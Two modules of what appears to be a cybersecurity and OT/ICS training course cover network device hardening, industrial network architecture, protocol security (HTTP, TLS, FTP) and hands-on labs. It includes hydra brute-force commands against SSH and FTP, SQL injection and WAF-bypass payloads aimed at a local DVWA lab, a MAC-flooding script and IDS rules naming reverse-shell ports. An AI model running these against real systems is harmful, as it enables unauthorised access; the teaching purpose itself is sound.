hydra -C /usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt \
    ssh://192.168.1.1

# Databases of default credentials:
# https://www.default-password.info/
# https://www.fortypoundhead.com/tools_dpview.asp
# Seclists: /usr/share/seclists/Passwords/Default-Credentials/

11.2 Management Plane Hardening

All network devices have a management plane — the interface for configuration. This plane must be hardened separately from the data plane (traffic forwarding).

Management Plane Components:
  CLI: SSH (required), Telnet (must be DISABLED)
  Web: HTTPS (if used), HTTP (must be DISABLED)
  SNMP: v3 authPriv only (v1/v2c must be DISABLED)
  NETCONF/RESTCONF: over SSH/HTTPS (modern management)
  Syslog: send logs to remote server (for audit trail)
  NTP: synchronise time (for accurate log timestamps)

Hardening Checklist:
  ☐ Change all default passwords (minimum 16 characters, complex)
  ☐ Disable Telnet, HTTP, SNMP v1/v2c
  ☐ Enable SSH v2 only (disable SSHv1)
  ☐ Restrict management to specific source IPs (management VLAN only)
  ☐ Enable management access logging
  ☐ Configure SSH key-based authentication (disable password auth)
  ☐ Set session timeout (idle sessions auto-disconnect)
  ☐ Enable all relevant logging to remote syslog
  ☐ Enable NTP synchronisation
  ☐ Disable unused services (CDP, LLDP on untrusted ports, DTP)
  ☐ Apply latest firmware/patch
  ☐ Configure SNMP v3 authPriv (or disable if not used)
  ☐ Enable password encryption in configuration

# Cisco IOS hardening (key commands):

# Disable Telnet, enable SSH only:
! line vty 0 15
!   transport input ssh
!   exec-timeout 5 0           ← 5 minute idle timeout

# Enable SSH v2:
! ip ssh version 2
! crypto key generate rsa modulus 4096

# Set strong password and enable secret:
! enable algorithm-type sha256 secret StrongPassword123!
! username admin privilege 15 algorithm-type sha256 secret AdminPass456!

# Restrict management to specific IPs:
! ip access-list standard MGMT_HOSTS
!   permit 10.10.3.0 0.0.0.255    ← management VLAN only
!   deny any log

! line vty 0 15
!   access-class MGMT_HOSTS in

# Disable unneeded services:
! no ip http server              ← Disable HTTP management
! no ip http secure-server       ← Disable HTTPS management (if not needed)
! no cdp run                     ← Disable Cisco Discovery Protocol (if not needed)
! no service pad
! no ip finger
! no ip boot server
! no service dhcp                ← If not acting as DHCP server

11.3 Firmware Vulnerabilities and Patch Management

Network device firmware is software — it has bugs, and those bugs are vulnerabilities. The challenge:

Network Device Patching Challenges:

Production impact:
  Updating firmware requires device restart
  Restart = traffic interruption (seconds to minutes)
  Scheduled downtime required
  HA failover can mitigate but not eliminate

Testing requirement:
  Firmware updates can break existing configuration
  Must test on non-production before deploying

OT/ICS additional challenge:
  Industrial switches in substations: utility safety procedures required
  PLC firmware: vendor must validate every change
  Any change to OT system requires change management approval
  Timeline: months for some changes in critical OT environments

Result: 
  Network devices often run firmware that is years out of date
  Security teams know about vulnerabilities but cannot patch quickly

Compensating controls (when patching is delayed):
  - Network segmentation (limit who can reach management plane)
  - Firewall rules blocking access to vulnerable services
  - IPS signatures for specific CVEs
  - Enhanced monitoring for exploitation indicators

12. Network Devices in OT/ICS Environments

12.1 The OT Network Device Landscape

Industrial networks use the same classes of devices as enterprise IT, but with critical differences in capabilities, age, patching, and security features.

OT Network Device Reality (2024):

Managed switches: Present in modern OT networks
  - Typically: Cisco IE series, Hirschmann, Phoenix Contact, Moxa
  - Security features: often disabled for "operational simplicity"
  - SNMP: v1 or v2c commonly (v3 rarely configured)
  - Age: 5-15+ years in production environments

Unmanaged switches: Surprisingly common in process areas
  - No configuration, no VLANs, no port security, no monitoring
  - Equivalent to a hub from security perspective
  - Common justification: "it never needs maintenance"
  - Reality: complete blind spot in security monitoring

Industrial firewalls: Slowly increasing adoption
  - Tofino Industrial Firewall (now part of Honeywell)
  - Fortinet (FortiGate with OT/ICS profile)
  - Cisco IOS industrial with zone-based firewall
  - Schneider Electric ConneXium
  - Challenge: industrial protocols must be allowed, and most have no auth

Industrial DMZ architecture (reference):
  Corporate IT ──→ [IT Firewall] ──→ DMZ ──→ [OT Firewall] ──→ OT Network
                                     │
                              Historian (data aggregation)
                              Jump Server (operator access)
                              Anti-virus update server
                              Patch management server

12.2 Substation Network Architecture (Power Grid)

NERC CIP compliant substation (simplified):

  Corporate WAN                           
       │                                 
  [Corporate Firewall]                   
       │                                 
  [DMZ: SCADA Server, Historian]         
       │                                 
  [Substation Firewall]                  
       │                                 
  Substation LAN ─────────────────────────────────┐
  10.20.1.0/24                                     │
       │                         │                 │
  [IED Zone] GOOSE/MMS       [SCADA Zone]    [Engineering]
  Protection Relays          HMI Server      Workstation
  (IEC 61850)               (Wonderware)    (EWS)
       │
  [Physical Field Devices]
  Breakers, Transformers, Sensors

Key security controls:
  - Serial-to-Ethernet converters for legacy IEDs (RS-485/DNP3 → Ethernet/TCP)
  - GOOSE traffic: L2 multicast, cannot traverse router
  - Firewall between engineering zone and IED zone
  - All remote access through jump server in DMZ
  - NERC CIP-005: electronic security perimeter must be defined and enforced

12.3 OT-Specific Network Device Threats

Unauthorised Remote Access:
Many industrial network environments have unauthorised or forgotten remote access methods:

Modems on serial ports (for vendor support, installed years ago, never removed)
Cellular modems added "temporarily" for maintenance
Personal Wi-Fi hotspots brought by field technicians
TeamViewer or similar installed by vendors without documentation

Flat OT Networks:
A significant percentage of industrial networks have no segmentation between:

HMI/SCADA servers
PLCs and field devices
Engineering workstations
Historian servers
Operator workstations

A ransomware infection of one Windows workstation can encrypt every other Windows system on the same flat network, and in many cases reach network-connected HMI servers.

Switch Firmware in OT:
Industrial managed switches (Hirschmann, Moxa) have their own vulnerabilities:

CVE-2022-38694 (Hirschmann HiOS Switches, 2022):
  Authentication bypass in web interface
  Remote code execution as root
  Affected: Switches used in substations and industrial facilities

CVE-2021-27730 (Moxa EDS Switches, 2021):
  Cross-site scripting in web management
  Stored XSS allows session hijacking

Multiple Cisco IE series switches (Industrial Ethernet):
  Various CVEs in web management, Cisco IOS vulnerabilities
  Patch frequency for industrial-grade Cisco: same as enterprise, but
  industrial customers often 12-24 months behind on patches

# OT network device discovery and assessment:

# Passive discovery (safe for production):
sudo tcpdump -i eth0 -n -q 2>/dev/null | awk '{print $3,$5}' | \
    grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' | sort | uniq
# Collects IPs from traffic — non-invasive

# LLDP/CDP passive capture (reveals device details without scanning):
sudo tcpdump -i eth0 'ether proto 0x88cc' -v    # LLDP
sudo tcpdump -i eth0 'ether proto 0x2000' -v    # CDP
# Both reveal: device name, model, port, VLAN, IP address

# SNMP enumeration of switches (if community known):
snmpwalk -v2c -c public 10.20.1.1 1.3.6.1.2.1.1.1.0  # sysDescr
snmpwalk -v2c -c public 10.20.1.1 1.3.6.1.2.1.2.2     # Interface table
# Reveals: switch model, firmware version, all interfaces and their status

# Safe Nmap for OT (only if explicitly authorised):
sudo nmap -sn -T1 10.20.0.0/24     # Ping only, very slow (T1)
# -sn: no port scan (ping discovery only)
# -T1: sneaky timing (minimum network impact)
# Even this should be coordinated with operations team in OT environments

13. Hands-On Exercises

Exercise 1: Switch MAC Table and ARP Interaction (30 minutes)

# Understand how switches and ARP interact

# 1. View your current ARP table:
arp -a                                  # Linux
ip neigh show                           # Modern Linux

# 2. View MAC table on a managed switch (if accessible via SNMP):
# If you have SNMP access to a switch on your lab:
snmpwalk -v2c -c public SWITCH_IP 1.3.6.1.2.1.17.4.3.1.2
# Returns: MAC addresses in the forwarding table

# 3. Capture ARP traffic and observe switch learning:
sudo tcpdump -i eth0 -n 'arp' -e     # -e shows MAC addresses
# Observe: Ethernet source MAC in ARP requests matches ARP sender MAC
# Switch learns these and builds CAM table from them

# 4. Simulate MAC flooding detection:
# On a test machine, generate many different source MACs:
python3 << 'EOF'
from scapy.all import *
import random

def random_mac():
    return ":".join(["%02x" % random.randint(0, 255) for _ in range(6)])

# Send 100 frames with random source MACs
for i in range(100):
    pkt = Ether(src=random_mac(), dst="ff:ff:ff:ff:ff:ff") / \
          IP(dst="192.168.1.1") / ICMP()
    # sendp(pkt, iface="eth0", verbose=False)  # Uncomment to actually send
    print(f"Would send frame with src MAC: {pkt.src}")

print("(Sending disabled - this is a simulation)")
EOF

Exercise 2: Firewall Rule Analysis (45 minutes)

# Analyse and audit iptables firewall rules

# 1. View current rules:
sudo iptables -L -n -v --line-numbers
sudo iptables -t nat -L -n -v

# 2. Test firewall behaviour:
# Create a test rule and verify it works:
sudo iptables -A INPUT -s 127.0.0.1 -p tcp --dport 9999 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9999 -j DROP

# Start listener:
nc -l 9999 &

# Test from allowed source (localhost):
nc -zv localhost 9999            # Should succeed

# Test from other source (should be blocked):
# From another machine on the network:
# nc -zv THIS_MACHINE_IP 9999   # Should be blocked

# Clean up:
kill %1 2>/dev/null
sudo iptables -D INPUT -s 127.0.0.1 -p tcp --dport 9999 -j ACCEPT
sudo iptables -D INPUT -p tcp --dport 9999 -j DROP

# 3. Build a basic stateful firewall:
cat > /tmp/simple_firewall.sh << 'EOF'
#!/bin/bash
# Simple stateful firewall

# Flush existing rules:
iptables -F
iptables -X
iptables -t nat -F

# Default policies: DROP everything:
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

# Allow loopback:
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT

# Allow established/related (stateful):
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Allow specific outbound:
iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT    # HTTP
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT   # HTTPS
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT    # DNS
iptables -A OUTPUT -p icmp -j ACCEPT               # Ping

# Allow specific inbound:
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -j ACCEPT  # SSH

# Log dropped packets:
iptables -A INPUT -j LOG --log-prefix "DROPPED INPUT: " --log-level 6
iptables -A OUTPUT -j LOG --log-prefix "DROPPED OUTPUT: " --log-level 6

echo "Firewall rules applied"
iptables -L -n -v
EOF
chmod +x /tmp/simple_firewall.sh
# sudo bash /tmp/simple_firewall.sh  # Run to apply

Exercise 3: IDS Rule Writing and Testing (1 hour)

# Write and test custom Suricata IDS rules

# Install Suricata if not present:
sudo apt install suricata -y

# Create test rules:
sudo cat > /etc/suricata/rules/bytewall-test.rules << 'EOF'
# Rule 1: Detect potential reverse shell over common ports
alert tcp $HOME_NET any -> $EXTERNAL_NET [4444,4445,5555,6666,7777,8888] \
    (msg:"BYTEWALL Potential Reverse Shell - Common Metasploit Port"; \
    flow:established,to_server; \
    threshold:type limit,track by_src,count 1,seconds 60; \
    sid:8000001; rev:1; classtype:trojan-activity;)

# Rule 2: Detect large ICMP packets (potential tunnel)
alert icmp any any -> any any \
    (msg:"BYTEWALL Large ICMP - Possible ICMP Tunnel"; \
    itype:8; dsize:>200; \
    sid:8000002; rev:1; classtype:policy-violation;)

# Rule 3: Detect base64 patterns in HTTP (potential encoded payload)
alert http any any -> $HTTP_SERVERS any \
    (msg:"BYTEWALL Base64 in HTTP URI"; \
    http.uri; content:"=="; \
    pcre:"/[A-Za-z0-9+\/]{50,}={1,2}/P"; \
    sid:8000003; rev:1; classtype:policy-violation;)

# Rule 4: Detect nmap scan signature
alert tcp any any -> $HOME_NET any \
    (msg:"BYTEWALL Possible Nmap Scan"; \
    flags:S; window:1024; \
    dsize:0; \
    sid:8000004; rev:1; classtype:network-scan;)
EOF

# Test rules against a PCAP file:
# Download test PCAP from Wireshark wiki or use tcpdump to capture
sudo tcpdump -i eth0 -w /tmp/test.pcap -c 1000 &
sleep 10
kill %1 2>/dev/null

sudo suricata -c /etc/suricata/suricata.yaml -r /tmp/test.pcap \
    -l /tmp/suricata_test/ --runmode=single

# View results:
cat /tmp/suricata_test/fast.log 2>/dev/null || echo "No alerts triggered"
cat /tmp/suricata_test/eve.json 2>/dev/null | python3 -m json.tool | head -50

Exercise 4: VPN Configuration and Testing (45 minutes)

# Set up and test WireGuard VPN (modern, simple, secure)

# Install WireGuard:
sudo apt install wireguard -y

# Generate key pair:
wg genkey | tee /tmp/private.key | wg pubkey > /tmp/public.key
echo "Private key: $(cat /tmp/private.key)"
echo "Public key:  $(cat /tmp/public.key)"

# Create server configuration:
sudo cat > /tmp/wg-server.conf << EOF
[Interface]
PrivateKey = $(cat /tmp/private.key)
Address = 10.200.0.1/24
ListenPort = 51820
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE

[Peer]
PublicKey = CLIENT_PUBLIC_KEY_HERE
AllowedIPs = 10.200.0.2/32
EOF

echo "WireGuard server config created at /tmp/wg-server.conf"
echo "Review the configuration:"
cat /tmp/wg-server.conf

# Test security of WireGuard:
# WireGuard doesn't respond to unauthenticated UDP packets
# This means it's invisible to scanners that don't have the public key
sudo nmap -sU -p 51820 localhost 2>/dev/null
echo "Nmap shows WireGuard as open|filtered - correct behaviour"
echo "WireGuard doesn't respond to unauthenticated probes"

# Clean up:
rm -f /tmp/private.key /tmp/public.key /tmp/wg-server.conf

Exercise 5: WAF Bypass Practice (30 minutes)

# Practice WAF bypass techniques on intentionally vulnerable applications
# Use DVWA (Damn Vulnerable Web Application) or similar

# Install DVWA via Docker:
docker run -d -p 8080:80 vulnerables/web-dvwa 2>/dev/null || \
    echo "Docker not available - use online version at dvwa.co.uk"

# Test basic WAF bypass techniques:

# 1. SQL injection bypass (on SQLi page with WAF-like protection):
# Standard (might be blocked by simple filter): 
# ' OR 1=1--

# Bypass variants to try:
# ' OR 1=1-- -
# ' OR '1'='1
# ' OR 1=1#
# '||'1'='1
# ') OR ('1'='1

# 2. Test URL encoding bypass:
# Replace ' with %27, space with %20, = with %3D:
curl -s "http://localhost:8080/vulnerabilities/sqli/?id=1%27+OR+1%3D1--+&Submit=Submit" \
    -H "Cookie: PHPSESSID=abc; security=low"

# 3. Nikto - web server scanner (includes some WAF detection):
nikto -h http://localhost:8080 -output /tmp/nikto_results.txt
cat /tmp/nikto_results.txt | head -30

# 4. Detect if a WAF is present:
wafw00f http://localhost:8080 2>/dev/null || \
    python3 -c "
import urllib.request
try:
    r = urllib.request.urlopen('http://localhost:8080/?q=<script>alert(1)</script>')
    print('No WAF - XSS not blocked (status:', r.status, ')')
except Exception as e:
    print('Possible WAF or error:', e)
"

14. Module Summary

Device	OSI Layer	Core Function	Key Attacks Against It	Key Security Control	OT/ICS Relevance
Hub	1	Broadcast signal repeater	Passive sniffing (all traffic visible)	Replace with switch	Still present in legacy OT
Switch (L2)	2	MAC-based frame forwarding	MAC flooding, VLAN hopping, ARP spoofing	Port security, DAI, DHCP snooping	Dominant in industrial LANs
Router	3	IP-based packet forwarding	Route injection, BGP hijacking, default creds	Routing auth, ACLs, hardening	Zone boundary in OT
L2 Switch	2	MAC forwarding, single broadcast domain	VLAN hopping, MAC flooding	802.1X, port security	OT device connectivity
L3 Switch	2-3	L2 + routing, wire-speed inter-VLAN	Route manipulation, ACL bypass	SVIs + ACLs, no substitute for NGFW	OT distribution layer
Packet Filter	3-4	IP/port-based stateless filtering	ACK scan bypass, fragmentation evasion	Upgrade to stateful	Legacy OT firewalls
Stateful FW	3-4	Connection state tracking	State table exhaustion, app-layer attacks blind	Application-layer inspection	IT-OT boundary firewalls
NGFW	3-7	App-aware, user-aware, SSL inspection	NGFW itself exploited (CVE-2024-3400)	Patch immediately, restrict management	Replacing legacy industrial firewalls
IDS	All	Passive traffic monitoring and alerting	Evasion (fragmentation, encryption, slow scan)	Tune rules, reduce false positives	OT protocol anomaly detection
IPS	All	Inline traffic blocking	False positive DoS, evasion techniques	Redundancy, bypass mode, regular tuning	Rare in OT due to reliability concerns
Forward Proxy	7	Client traffic control and filtering	C2 via allowed destinations (GitHub, GDrive)	TLS inspection, behavioural analysis	Engineering workstation internet access
Reverse Proxy	7	Backend server protection and TLS termination	Origin server bypass, proxy vulnerabilities	WAF integration, restrict origin access	OT HMI web interface protection
Load Balancer	4-7	Traffic distribution, redundancy	LB itself exploited (F5 CVE-2020-5902)	Patch, restrict management, HA configuration	Limited in OT
VPN Gateway	3-7	Encrypted remote access	Pre-auth RCE (CVE-2024-3400, Pulse 2019)	Patch urgently, MFA, restrict management	Critical for remote OT access
WAF	7	HTTP attack filtering	WAF bypass (encoding, fragmentation, origin bypass)	Defence-in-depth with secure code	OT HMI/web interface protection
Modem	1-2	ISP signal conversion	Default creds, firmware exploits, UPnP	Firmware updates, disable UPnP, change creds	ISP connectivity for OT remote sites
Home Gateway	1-7	All-in-one SOHO device	Default creds, UPnP, firmware (Mirai, VPNFilter)	Change creds, disable UPnP, update firmware	Remote worker VPN endpoints

Next Module: Stage 1.7 — Wireless Networks

Previous Module: Stage 1.5 — Core Protocols

Series Index: Full Roadmap

Stage 1.5 — Core Protocols

Rençber AKMAN — Fri, 05 Jun 2026 12:06:23 +0000

From Zero to Cybersecurity Professional | Complete Roadmap Series

Series: Cybersecurity × OT/ICS Security — Full Roadmap

Stage: 1 — Network Fundamentals

Module: 1.5 — Core Protocols

Level: Beginner → Advanced

Prerequisites: Stage 1.4 — IP Addressing and Subnetting

Next Module: 1.6 — Network Devices

Why Protocols Are the Attack Surface
HTTP and HTTPS
FTP, SFTP, and FTPS
SMTP, POP3, and IMAP
SSH — Secure Shell
Telnet — The Insecure Predecessor
SNMP — Simple Network Management Protocol
NTP — Network Time Protocol
LDAP — Lightweight Directory Access Protocol
RDP — Remote Desktop Protocol
SMB — Server Message Block
Protocol Security Matrix
OT/ICS Protocol Context
Hands-On Exercises
Module Summary

1. Why Protocols Are the Attack Surface

Protocols are agreements. When two systems communicate, they follow a set of rules — the protocol — that defines exactly how the conversation happens. The security implication is profound: every rule in a protocol is a potential attack vector, and every weakness in a protocol's design is a permanent vulnerability in every system that implements it.

Real breaches by protocol:

EternalBlue (2017): NSA-developed exploit targeting SMBv1. Used by WannaCry to infect 200,000 machines in 150 countries in 72 hours. Colonial Pipeline, NHS hospitals, Telefónica — all hit. The vulnerability was in how SMBv1 handled certain transaction requests. One protocol weakness, global catastrophe.

BlueKeep (CVE-2019-0708): Pre-authentication RDP vulnerability. No credentials required. Remote code execution as SYSTEM. Microsoft issued patches for out-of-support Windows XP specifically because the threat was that severe.

Log4Shell (CVE-2021-44228): While a software vulnerability, it was exploited entirely through HTTP — specifically through HTTP headers that contained JNDI lookup strings. The attack surface was every application that logged HTTP request headers using Log4j.

FTP credential exposure: Default FTP credentials on network devices enabled the 2016 Mirai botnet to compromise 600,000 IoT devices and launch the largest DDoS attack in history (1.2 Tbps against Dyn DNS), taking down Twitter, Netflix, Reddit, and Amazon simultaneously.

For your OT/ICS path: Telnet is still the management interface on a significant percentage of industrial network switches, RTUs, and legacy PLCs. SNMP v1 and v2c with default community strings expose the management plane of every industrial network device. NTP vulnerabilities can desynchronise protection relay timestamps, causing grid protection systems to malfunction. Understanding these protocols is not optional — it is the foundation of every assessment you will ever conduct.

2. HTTP and HTTPS

2.1 HTTP — HyperText Transfer Protocol

HTTP is the application-layer protocol that powers the web. Every time a browser loads a page, every time an API is called, every time a SCADA HMI fetches data from a web service — HTTP is the underlying protocol.

HTTP runs over TCP (default port 80). It is stateless — each request is independent. The server does not remember previous requests unless the application implements session management (cookies, tokens).

HTTP Request Structure:

Method URI HTTP-Version\r\n
Header-Name: Header-Value\r\n
Header-Name: Header-Value\r\n
\r\n
[Optional Body]

Example:
POST /api/login HTTP/1.1\r\n
Host: target.com\r\n
User-Agent: Mozilla/5.0 (X11; Linux x86_64)\r\n
Content-Type: application/json\r\n
Content-Length: 42\r\n
Cookie: session=abc123def456\r\n
\r\n
{"username": "admin", "password": "test123"}

HTTP Methods and Security Relevance:

GET     Retrieve a resource. Parameters in URL. Logged in server logs, browser history,
        proxy logs, Referer headers. Never use GET for sensitive data.

POST    Send data in request body. Not in URL. Used for form submissions, API calls.
        Still logged, but body usually not logged by default.

PUT     Create or replace a resource at a specific URI. 
        If enabled on web servers without auth: arbitrary file upload.

DELETE  Delete a resource. If enabled without auth: data destruction.

PATCH   Partial update to a resource.

OPTIONS Returns allowed HTTP methods for a resource.
        Security use: enumerate what methods a server accepts.

HEAD    Like GET but returns only headers, no body. Used for:
        - Checking if resource exists without downloading it
        - Getting metadata (Content-Length, Last-Modified)

TRACE   Echoes the request back. Used for diagnostics.
        Security risk: Cross-Site Tracing (XST) — can steal cookies
        via JavaScript if HttpOnly flag not set.
        Should be DISABLED on all web servers.

CONNECT Establish a tunnel through a proxy to a destination.
        Allows HTTPS through HTTP proxies.
        Abuse: use proxy as relay to other internal systems.

HTTP Response Structure:

HTTP/1.1 200 OK\r\n
Server: Apache/2.4.51\r\n           ← Version disclosure — information to attacker
Content-Type: text/html; charset=utf-8\r\n
Set-Cookie: session=xyz789; Path=/; HttpOnly; Secure; SameSite=Strict\r\n
X-Frame-Options: DENY\r\n           ← Security header
Content-Security-Policy: default-src 'self'\r\n  ← Security header
Strict-Transport-Security: max-age=31536000; includeSubDomains\r\n
\r\n
[HTML Body]

HTTP Status Codes — Security Relevance:

1xx Information:
  100 Continue — client should send body after receiving this

2xx Success:
  200 OK
  201 Created — resource was created (PUT/POST success)
  204 No Content — success but no body (DELETE success)

3xx Redirection:
  301 Moved Permanently — permanent redirect (cached by browser)
  302 Found — temporary redirect
  Open Redirect vulnerability: if the redirect URL is user-controlled

4xx Client Errors:
  400 Bad Request — malformed request (useful for fuzzing — different errors reveal different things)
  401 Unauthorized — authentication required (auth bypass target)
  403 Forbidden — authenticated but no permission (privilege escalation target)
  404 Not Found — resource doesn't exist
  405 Method Not Allowed — method not permitted for this resource
  429 Too Many Requests — rate limiting active

5xx Server Errors:
  500 Internal Server Error — server crashed (may reveal stack traces, source code paths)
  502 Bad Gateway — upstream server error
  503 Service Unavailable — server overloaded (DoS indicator)

HTTP Headers — Security Implications:

Request headers of interest to security:
  Host:           Target hostname — Host header injection if not validated
  Authorization:  Credentials (Basic base64, Bearer token, API key)
  Cookie:         Session tokens — primary theft target
  User-Agent:     Client identification — spoofed by attackers
  Referer:        Previous page URL — can leak sensitive URLs in logs
  X-Forwarded-For:Client IP when behind proxy — can be spoofed to bypass IP restrictions
  Content-Type:   Body format — affects how server processes body (JSON vs XML vs multipart)
  Origin:         CORS pre-flight source — CORS misconfiguration exploitation

Response headers of interest:
  Server:           Software version — remove or mask (information disclosure)
  X-Powered-By:     Framework version — remove (information disclosure)
  Set-Cookie:       Session cookie attributes:
                    HttpOnly: prevents JS access (XSS cookie theft mitigation)
                    Secure: only sent over HTTPS
                    SameSite: CSRF mitigation (Lax/Strict/None)
  Location:         Redirect target — open redirect if user-controlled
  Access-Control-Allow-Origin: CORS policy — * is dangerous

2.2 HTTPS — HTTP Secured with TLS

HTTPS is HTTP running over TLS (Transport Layer Security). The connection is established with a TLS handshake before any HTTP data is exchanged. Port 443.

What HTTPS protects:

Confidentiality: traffic encrypted, intermediate parties cannot read it
Integrity: traffic cannot be modified in transit without detection
Authentication: server proves its identity via certificate

What HTTPS does NOT protect:

Metadata: destination IP and hostname (via SNI in TLS handshake) are visible
Traffic volume and timing: can reveal page identity even with encryption
Server-side code: vulnerabilities in the application still exploitable
TLS termination points: CDN, load balancer, WAF decrypt traffic — they see plaintext

SSL/TLS Attack History:

BEAST (CVE-2011-3389):
  TLS 1.0 CBC mode vulnerability
  Attacker on same network could decrypt HTTPS cookies
  Fixed: upgrade to TLS 1.1+, use RC4 (then later discovered RC4 was broken too)

CRIME (CVE-2012-4929):
  TLS compression oracle — recover HTTPS session cookies
  Fixed: disable TLS compression (now disabled by default)

BREACH (2013):
  HTTP-level compression oracle — not a CVE but a design weakness
  Affects any HTTPS connection with compressed body
  Mitigation: rate-limit guesses, use CSRF tokens, disable HTTP compression

POODLE (CVE-2014-3566):
  SSLv3 CBC padding oracle — decrypt session cookies
  Fixed: disable SSLv3 entirely

Heartbleed (CVE-2014-0160):
  OpenSSL memory leak via malformed heartbeat request
  Up to 64KB of server memory per request — leaked private keys, passwords, session tokens
  No authentication required
  Affected: ~17% of secure web servers at time of disclosure
  Fixed: patch OpenSSL, rotate all certificates and credentials

FREAK (CVE-2015-0204):
  Force client to use export-grade RSA (512-bit, breakable in hours)
  Then factor the key and decrypt traffic
  Fixed: disable export cipher suites

Logjam (CVE-2015-4000):
  Force server to use 512-bit Diffie-Hellman — factorable
  Fixed: use 2048-bit DH minimum, prefer ECDH

DROWN (CVE-2016-0800):
  SSLv2 protocol attacks allowing decryption of TLS sessions
  Any server sharing a private key with an SSLv2-enabled server was vulnerable
  Fixed: disable SSLv2 everywhere, don't share private keys

ROBOT (CVE-2017-17382 and others, 2017):
  Return of BLEICHENBACHER's Oracle Threat
  19-year-old RSA PKCS#1 padding oracle resurfaced in TLS 1.2
  Affected: F5, Cisco, Citrix, Palo Alto, many others

Lucky13 (CVE-2013-0169):
  Timing attack against TLS CBC mode
  Fixed: constant-time MAC verification

Testing TLS Security:

# testssl.sh — comprehensive TLS security assessment
# Install: git clone --depth 1 https://github.com/drwetter/testssl.sh.git
./testssl.sh target.com:443

# Check supported TLS versions (older = insecure):
openssl s_client -connect target.com:443 -tls1    # TLS 1.0 (deprecated)
openssl s_client -connect target.com:443 -tls1_1  # TLS 1.1 (deprecated)
openssl s_client -connect target.com:443 -tls1_2  # TLS 1.2 (acceptable)
openssl s_client -connect target.com:443 -tls1_3  # TLS 1.3 (preferred)

# If -tls1 or -tls1_1 succeed: server supports deprecated protocols — vulnerability

# Check certificate details:
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
    openssl x509 -noout -text | grep -E "Subject:|Issuer:|Not After|SAN|DNS:"

# Check for weak cipher suites:
nmap --script ssl-enum-ciphers -p 443 target.com
# Look for: RC4, DES, 3DES, EXPORT, NULL — all weak

# Check HTTP security headers:
curl -sI https://target.com | grep -iE "strict-transport|content-security|x-frame|x-content-type|referrer"

# Full automated scan:
nmap -sV --script ssl-heartbleed,ssl-poodle,ssl-dh-params target.com -p 443

# Check HSTS:
curl -sI https://target.com | grep -i "Strict-Transport-Security"
# max-age should be at least 31536000 (1 year)
# includeSubDomains extends to all subdomains
# preload submits domain to browser HSTS preload list

SSL Stripping Attack:

SSL Stripping (Moxie Marlinspike, 2009):
  Target: HTTP connections that redirect to HTTPS

  Attack sequence:
  1. Attacker performs MITM (ARP poisoning, rogue AP, etc.)
  2. Client sends HTTP request: GET http://bank.com/
  3. Attacker intercepts, forwards to bank.com over HTTPS
  4. Bank responds with redirect to https://bank.com/
  5. Attacker intercepts the redirect, converts to HTTP
  6. Client receives HTTP response (thinks it's already using HTTP)
  7. All subsequent communication: Client ←HTTP→ Attacker ←HTTPS→ Bank
  8. Attacker sees all plaintext traffic including passwords

Detection:
  Browser shows "Not Secure" warning (HTTP)
  URL bar shows http:// instead of https://

Mitigation:
  HSTS: Once visited over HTTPS, browser always uses HTTPS regardless of link
  HSTS preload: Browser never tries HTTP, even on first visit

Tool: sslstrip (Moxie Marlinspike), bettercap's hstshijack module

Key Insight: HTTPS protects the wire, not the application. A perfectly implemented TLS connection to a vulnerable web application still results in a breach. HTTP security headers (HSTS, CSP, X-Frame-Options) are not optional — they are the difference between a vulnerability being exploitable or not.

3. FTP, SFTP, and FTPS

3.1 FTP — File Transfer Protocol

FTP (RFC 959, 1985) predates modern security thinking. It was designed for maximum compatibility and zero security. Understanding its architecture reveals exactly why it is dangerous and why it persists despite being dangerous.

FTP Control and Data Channels:

FTP uses TWO separate TCP connections:

Control channel (TCP 21):
  Client → Server: commands (USER, PASS, LIST, RETR, STOR, QUIT)
  Server → Client: responses (220 ready, 331 password required, 230 logged in)
  Always client-initiated
  Connection persists for the entire FTP session

Data channel:
  Used for: directory listings, file transfers
  Created NEW for each transfer
  TWO modes determine who initiates:

  Active mode (PORT command):
    Client sends: PORT 192,168,1,5,200,100
    (Decoded: 192.168.1.5, port = 200×256+100 = 51300)
    Server connects FROM port 20 TO client 192.168.1.5:51300
    Problem: Firewall/NAT blocks incoming connections to client

  Passive mode (PASV command):
    Client sends: PASV
    Server responds: 227 Entering Passive Mode (192,168,1,100,100,50)
    (Server is listening on port 100×256+50 = 25650)
    Client connects TO server 192.168.1.100:25650
    Firewall-friendly: client initiates both connections

FTP Security Failures:

1. Credentials transmitted in cleartext:
   USER admin\r\n                   ← Username visible on wire
   PASS secretpassword\r\n          ← Password visible on wire

   Any network observer captures credentials.
   Wireshark filter: ftp.request.command == "PASS"

2. Data transmitted in cleartext:
   All file content visible during transfer
   Directory listings visible

3. Anonymous FTP:
   USER anonymous\r\n
   PASS anystring@\r\n              ← Convention: use email as password
   If server allows anonymous: full access without credentials
   Many legacy servers still have anonymous enabled

4. Bounce attack:
   FTP PORT command specifies third-party IP:port for data connection
   Server connects to the third party "on behalf of" the attacker
   Used to: port scan from FTP server, bypass IP-based access controls
   Mitigated by: checking PORT address matches client IP

5. PASV injection:
   If attacker can MITM control channel:
   Replace server's PASV response with attacker-controlled IP:port
   Client connects to attacker for data transfer → credential capture

FTP in Practice — Attack and Detection:

# Check for anonymous FTP access:
nmap --script ftp-anon -p 21 target_ip
# Or manually:
ftp target_ip
# At login prompt: user anonymous, password anything

# FTP banner grabbing (reveals server software and version):
nc target_ip 21
# Response: 220 ProFTPD 1.3.5 Server (Debian) [...]
# Or: 220 Microsoft FTP Service
# Use version for vulnerability lookup

# Bruteforce FTP credentials:
hydra -L users.txt -P passwords.txt ftp://target_ip
medusa -h target_ip -U users.txt -P passwords.txt -M ftp

# Capture FTP credentials in Wireshark:
